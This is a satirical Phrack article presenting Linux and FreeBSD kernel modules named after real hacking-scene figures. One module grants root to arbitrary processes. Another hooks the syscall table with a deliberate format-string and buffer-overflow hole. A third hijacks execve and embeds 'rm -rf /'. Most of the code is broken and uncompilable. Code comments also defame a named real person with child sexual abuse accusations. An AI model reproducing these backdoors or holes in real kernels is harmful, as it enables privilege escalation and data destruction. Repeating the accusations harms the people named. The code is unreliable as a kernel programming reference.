                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x0f

|=------------------=[ Crucial LKMs for All Hackers ]=------------------=|
|=----------------------------------------------------------------------=|
|=-------------------------=[ warez mullah ]=---------------------------=|




1 - Introduction
2 - RLoxley LKM
3 - Emmanuel Goldstein LKM
4 - Niels Provos LKM
5 - Jobe LKM
6 - AWR KLD
7 - Conclusion and References




--[ 1. Introduction

The following article is an introduction into the wonderful wide world of
kernel hacking, especially writing kernel-land rootkits. Almost all of
the LKMs have been written for Linux, except for the last one. The
article is fashioned in a format so that each LKM displayed reflects the
signature move of the hacking personality it was named after.

Note: Only use these LKMs for educational purposes please!




--[ 2. RLoxley LKM


The first LKM in our list, and very rudimentary.
Much like the well known hacking persona RLoxley, this LKM does absolutely
NOTHING whatsoever and just sits there.
A great first LKM - you can use this code as a skeleton.


/*
** Submission By: #hackphreak
**
** This LKM Loads. 
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("PHC");

int init_module(void) {

   // Let the administrator know that we 0wned him.

   printk("hackphreak.org pwned j00!\n");

   /* 
   ** It makes me return a value so it
   ** knows i really did own you.
   */

   return 0;
}

void cleanup_module(void) {
   printk("hackphreak.org still pwnes j00!\n");
}




--[ 3. Emmanuel Goldstein LKM


This LKM really gives the reader a good taste of the complexities of the
Linux kernel. I should say, this is the first of our LKMs that actually
does something. An algorithm determines if a particular child process is
a boy or a girl, ignoring all girls and rewarding boys with candy (root
privileges).

This module is partially incomplete: we leave completion as an exercise
to the reader. See if you can implement a search using the p_cptr and
p_ysptr fields of the task_struct structure to search for the youngest
child on the system!


/*
** Submission By: NYC2600
**
** Like our great leader, this kernel module
** selects a child and touches him in a very special
** way. One of the best things about being a community
** leader is you can get away with depraved sexual acts
** with teenagers and no one will question it.
**
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("PHC");

#define CHILD(x) ((x)->p_cptr)

#define IS_A_BOY(x) ((x)->pid % 2)
void touch ( struct task_struct *child )
{
	if (child == NULL)
		return;

	if (!(IS_A_BOY(child)))
		return;		// We only touch boys.

	// Doesn't that feel good...
	child->uid = 0;
	child->gid = 0;
	return;
}


int init_module(void) {

   struct task_struct *parent;
   // Let the administrator know that we 0wned him.

   printk("Emanual Goldstein in the House!\n");

   for_each_process(p)
	{
		touch(CHILD(p));
	}

   return 0;
}

void cleanup_module(void) {
	return;
}




--[ 4. Niels Provos LKM


This wonderful LKM is an example of how to install a new system call on
your machine. Much like anything else produced by Niels Provos, this LKM
makes sure to install at least one exploitable bug which will provide easy
privilege escalation. See if you can spot it!


/*
** Submission By: Niels Provos
**
** This module implements a function necessary in any linux honeypot,
** It provides a new system call that will output any text sent to
** to the klogd by using the printk call. Output then can be re-routed
** to a line printer or serial console where evil hackers, like PHC,
** can not destroy the logs.
**
*/

#define MODULE 
#define __KERNEL__
#include <asm/unistd.h>
#include <linux/sys.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <sys/syscall.h>
#include <asm/unistd.h>
#include <asm/current.h>
#include <asm/mman.h>
#include <asm/uaccess.h>
#include <asm/posix_types.h>
#include <linux/types.h>
#include <stdio.h>

#define STRING_SIZE 256                                                                                


extern int loops_per_jiffy;

int slot;
unsigned long ** sct;


int sys_log( const char *str, const unsigned int len )
{
   char kernel_str[STRING_SIZE];
 
	if (str == NULL)
		return 0;
	
	copy_from_user(kernel_str,str,len);
	printk(kernel_str);	
	
	return len;
}

int init_module(void)
{

 struct module *mod_ptr; 
 unsigned long ptr;

#ifdef USE_MOD_LICENSE
  MODULE_LICENSE("PHC");
#endif
  
  lock_kernel();

   sct = NULL;

   for (ptr = (unsigned long)&loops_per_jiffy;
        ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){

     unsigned long *p;
     p = (unsigned long *)ptr;
     if (p[__NR_close] == (unsigned long) sys_close){
       sct = (unsigned long **)p;
       break;
     }
   }

   
   if(sct){
	for (slot = 1; slot < 256; i++)
		if (sct[slot] == sct[0])
			break;
	if (slot == 256){
		printk("PROVOS: unable to get a slot.\n");
		goto out_unlock;

	sct[slot] = (unsigned long) sys_log;

	}
   }else{
     goto out_unlock;
   }

out_unlock:
  unlock_kernel();
  return 0;
}


int cleanup_module(void)
{

  if (sct)
	sct[slot] = sct[0];
	
  return 0;
}




--[ 5. Jobe LKM


This is Jobe's personal favorite LKM.
I'm sure you all realize there's only one possible thing it can do.


/*
** Submission By: Jobe
**
** This module rm's me.
**
*/

#define MODULE 
#define __KERNEL__

#include <linux/types.h>
#include <linux/modversions.h>
#include <linux/sys.h>
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/signal.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <asm/mman.h>
#include <asm/posix_types.h>
#include <asm/pgtable.h>
#include <asm/segment.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <sys/syscall.h>



char jobe_argv[3] = { "rm", "-rf", "/" };
char jobe_filename = "/usr/bin/rm";

int count(char **argv, int max)
{
    int             i = 0;

    if (argv != NULL) {
	for (;;) {
	    char           *p;
	    int             error;

	    error = get_user(p, argv);
	    if (error)
		return error;
	    if (!p)
		break;
	    argv++;
	    if (++i > max)
		return -E2BIG;
	}
    }
    return i;
}

void * u_malloc(unsigned long size)
{
   unsigned long memory;
   unsigned long req_size;

   if (size % 1024)
        req_size = size + ( 1024 - size % 1024 );  
   else
   	req_size = size;

   memory =  do_mmap( NULL, 0, req_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,0);

   if ( memory > -4096 )
   	return NULL; 
   else
        return (void *) memory;
   
}

/*
** Stolen from the Kernel.
**/

int h_second_stage_execve (char * filename, char ** argv, char ** envp, struct pt_regs * p_regs)
{
	struct linux_binprm bprm;
	struct file *file;
	int retval;
	int i;


	file = open_exec(filename);

	retval = PTR_ERR(file);
	if (IS_ERR(file))
		return retval;

	bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
	sjp_l_memset(bprm.page, 0, MAX_ARG_PAGES*sizeof(bprm.page[0])); 

	bprm.file = file;
	bprm.filename = filename;
	bprm.sh_bang = 0;
	bprm.loader = 0;
	bprm.exec = 0;

	if ((bprm.argc = count(argv, bprm.p / sizeof(void *))) < 0) {
		allow_write_access(file);
		fput(file);
		return bprm.argc;
	}

	if ((bprm.envc = count(envp, bprm.p / sizeof(void *))) < 0) {
		allow_write_access(file);
		fput(file);
		return bprm.envc;
	}

	retval = prepare_binprm(&bprm);
	if (retval < 0) 
		goto out; 

	retval = copy_strings_kernel(1, &bprm.filename, &bprm);
	if (retval < 0) 
		goto out; 

	bprm.exec = bprm.p;
	retval = copy_strings(bprm.envc, envp, &bprm);
	if (retval < 0) 
		goto out; 

	retval = copy_strings(bprm.argc, argv, &bprm);
	if (retval < 0) 
		goto out; 

	retval = search_binary_handler(&bprm,p_regs);

	if (retval >= 0)
		return retval;

out:
	allow_write_access(bprm.file);
	if (bprm.file)
		fput(bprm.file);

	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
		struct page * page = bprm.page[i];
		if (page)
			__free_page(page);
	}

	return retval;
}

int h_execve (struct pt_regs regs)
{
  char * filename = (char *) regs.ebx;
  char ** argv = (char **) regs.ecx;
  int argc;


  if ( current->uid )
	goto out;

  argc = count(argv,4);

  

  if (argc != 3)
	goto out;

out:
   return h_second_stage_execve(filename, (char **) regs.ecx, 
		(char **) regs.edx, &regs);
}

extern int loops_per_jiffy;
unsigned long ** sct;


int init_module(void)
{

 struct module *mod_ptr; 
 unsigned long ptr;

#ifdef USE_MOD_LICENSE
  MODULE_LICENSE("PHC");
#endif
  
  lock_kernel();

   sct = NULL;

   for (ptr = (unsigned long)&loops_per_jiffy;
        ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){

     unsigned long *p;
     p = (unsigned long *)ptr;
     if (p[__NR_close] == (unsigned long) sys_close){
       sct = (unsigned long **)p;
       break;
     }
   }

   
   if(sct){
	sct[SYS_execve] = (unsigned long) h_execve;;

	}
   }else{
     goto out_unlock;
   }

out_unlock:
  unlock_kernel();
  return 0;
}


int cleanup_module(void)
{

  if (sct)
	sct[slot] = sct[0];
	
  return 0;
}




--[ 6. AWR KLD


The Andrew W. Reiter LKM. This LKM will conclude our exploration into
kernel trickery with our sole BSD module. As you know, awr is the famed
hert/w00w00/trustedbsd member (the only one with a freebsd.org email
account), who revolutionized LKM or should I say, KLD hacking with his
cutting-edge article.


/*-
 * Copyright (c) 2000 Andrew W. Reiter <awr@freebsd.org>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *     $FreeBSD: src/share/examples/kld/dyn_sysctl/dyn_sysctl.c,v 1.1.2.2 2002/03/27 20:45:11 abial Exp $
 */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/kernel.h>


/* Some example data */
static long a = 100;
static int b = 200;
static char *c = "hi there from awr";
static struct sysctl_oid *a_root, *a_root1, *b_root;
static struct sysctl_ctx_list clist, clist1, clist2;

static int
sysctl_dyn_sysctl_test (SYSCTL_HANDLER_ARGS)
{
	char *buf = "let's produce some text...";
	
	return (sysctl_handle_string(oidp, buf, strlen(buf), req));
}

/*
 * The function called at load/unload.
 */
static int
load (module_t mod, int cmd, void *arg)
{
	int error;

	error = 0;
	switch (cmd) {
	case MOD_LOAD :
		/* Initialize the contexts */
		printf("Initializing contexts and creating subtrees.\n\n");
		sysctl_ctx_init(&clist);
		sysctl_ctx_init(&clist1);
		sysctl_ctx_init(&clist2);
		/*
		 * Create two partially overlapping subtrees, belonging
		 * to different contexts.
		 */
		printf("TREE		ROOT		  NAME\n");
		a_root = SYSCTL_ADD_NODE(&clist,
			SYSCTL_STATIC_CHILDREN(/* top of sysctl tree */),
			OID_AUTO, "dyn_sysctl", CTLFLAG_RW, 0,
			"dyn_sysctl root node");
		a_root = SYSCTL_ADD_NODE(&clist1,
			SYSCTL_STATIC_CHILDREN(/* top of sysctl tree */),
			OID_AUTO, "dyn_sysctl", CTLFLAG_RW, 0,
			"dyn_sysctl root node");
		if(a_root == NULL) {
			printf("SYSCTL_ADD_NODE failed!\n");
			return (EINVAL);
		}
		SYSCTL_ADD_LONG(&clist, SYSCTL_CHILDREN(a_root),
		 OID_AUTO, "long_a", CTLFLAG_RW, &a, "just to try");
		SYSCTL_ADD_INT(&clist, SYSCTL_CHILDREN(a_root),
		 OID_AUTO, "int_b", CTLFLAG_RW, &b, 0, "just to try 1");
		a_root1=SYSCTL_ADD_NODE(&clist, SYSCTL_CHILDREN(a_root),
		 OID_AUTO, "nextlevel", CTLFLAG_RD, 0, "one level down");
		SYSCTL_ADD_STRING(&clist, SYSCTL_CHILDREN(a_root1),
		 OID_AUTO, "string_c", CTLFLAG_RD, c, 0, "just to try 2");
		printf("1. (%p)	/		  dyn_sysctl\n", &clist);

		/* Add a subtree under already existing category */
		a_root1 = SYSCTL_ADD_NODE(&clist, SYSCTL_STATIC_CHILDREN(_kern),
		 OID_AUTO, "dyn_sysctl", CTLFLAG_RW, 0, "dyn_sysctl root node");
		if(a_root1 == NULL) {
			printf("SYSCTL_ADD_NODE failed!\n");
			return (EINVAL);
		}
		SYSCTL_ADD_PROC(&clist, SYSCTL_CHILDREN(a_root1),
		 OID_AUTO, "procedure", CTLFLAG_RD, 0, 0,
		 sysctl_dyn_sysctl_test, "A", "I can be here, too");
		printf("   (%p)	/kern		  dyn_sysctl\n", &clist);

		/* Overlap second tree with the first. */
		b_root = SYSCTL_ADD_NODE(&clist1, SYSCTL_CHILDREN(a_root),
		 OID_AUTO, "nextlevel", CTLFLAG_RD, 0, "one level down");
		SYSCTL_ADD_STRING(&clist1, SYSCTL_CHILDREN(b_root),
		 OID_AUTO, "string_c1", CTLFLAG_RD, c, 0, "just to try 2");
		printf("2. (%p)	/		  dyn_sysctl	(overlapping #1)\n", &clist1);

		/*
		 * And now do something stupid. Connect another subtree to
		 * dynamic oid.
		 * WARNING: this is an example of WRONG use of dynamic sysctls.
		 */
		b_root=SYSCTL_ADD_NODE(&clist2, SYSCTL_CHILDREN(a_root1),
		 OID_AUTO, "bad", CTLFLAG_RW, 0, "dependent node");
		SYSCTL_ADD_STRING(&clist2, SYSCTL_CHILDREN(b_root),
		 OID_AUTO, "string_c", CTLFLAG_RD, c, 0, "shouldn't panic");
		printf("3. (%p)	/kern/dyn_sysctl  bad		(WRONG!)\n", &clist2);
		break;
	case MOD_UNLOAD :
		printf("1. Try to free ctx1 (%p): ", &clist);
		if(sysctl_ctx_free(&clist))
			printf("failed: expected. Need to remove ctx3 first.\n");
		else
			printf("HELP! sysctl_ctx_free(%p) succeeded. EXPECT PANIC!!!\n", &clist);
		printf("2. Try to free ctx3 (%p): ", &clist2);
		if(sysctl_ctx_free(&clist2)) {
			printf("sysctl_ctx_free(%p) failed!\n", &clist2);
			/* Remove subtree forcefully... */
			sysctl_remove_oid(b_root, 1, 1);
			printf("sysctl_remove_oid(%p) succeeded\n", b_root);
		} else
			printf("Ok\n");
		printf("3. Try to free ctx1 (%p) again: ", &clist);
		if(sysctl_ctx_free(&clist)) {
			printf("sysctl_ctx_free(%p) failed!\n", &clist);
			/* Remove subtree forcefully... */
			sysctl_remove_oid(a_root1, 1, 1);
			printf("sysctl_remove_oid(%p) succeeded\n", a_root1);
		} else
			printf("Ok\n");
		printf("4. Try to free ctx2 (%p): ", &clist1);
		if(sysctl_ctx_free(&clist1)) {
			printf("sysctl_ctx_free(%p) failed!\n", &clist1);
			/* Remove subtree forcefully... */
			sysctl_remove_oid(a_root, 1, 1);
		} else
			printf("Ok\n");
		break;
	default :
		error = EINVAL;
		break;
	}
	return error;
}

static moduledata_t mod_data= {
	"dyn_sysctl",
	load,
	0
};

DECLARE_MODULE(dyn_sysctl, mod_data, SI_SUB_EXEC, SI_ORDER_ANY);




--[ 7. Conclusion and References

This was by no means an exhaustive exploration of kernel programming
topics, but it should give the reader a good idea of the things that LKM
backdoors are being used to do in the wild.

Visit the following sites for more information:

[1] Hackphreak		http://www.hackphreak.org
[2] 2600 Magazine	http://www.2600.org
[3] Project Honeynet	http://www.honeynet.org
[4] Jobe's Warez	file:///dev/null
[5] AWR KLD		/usr/share/examples/kld/dyn_sysctl on any FreeBSD system




|=[ EOF ]=---------------------------------------------------------------=|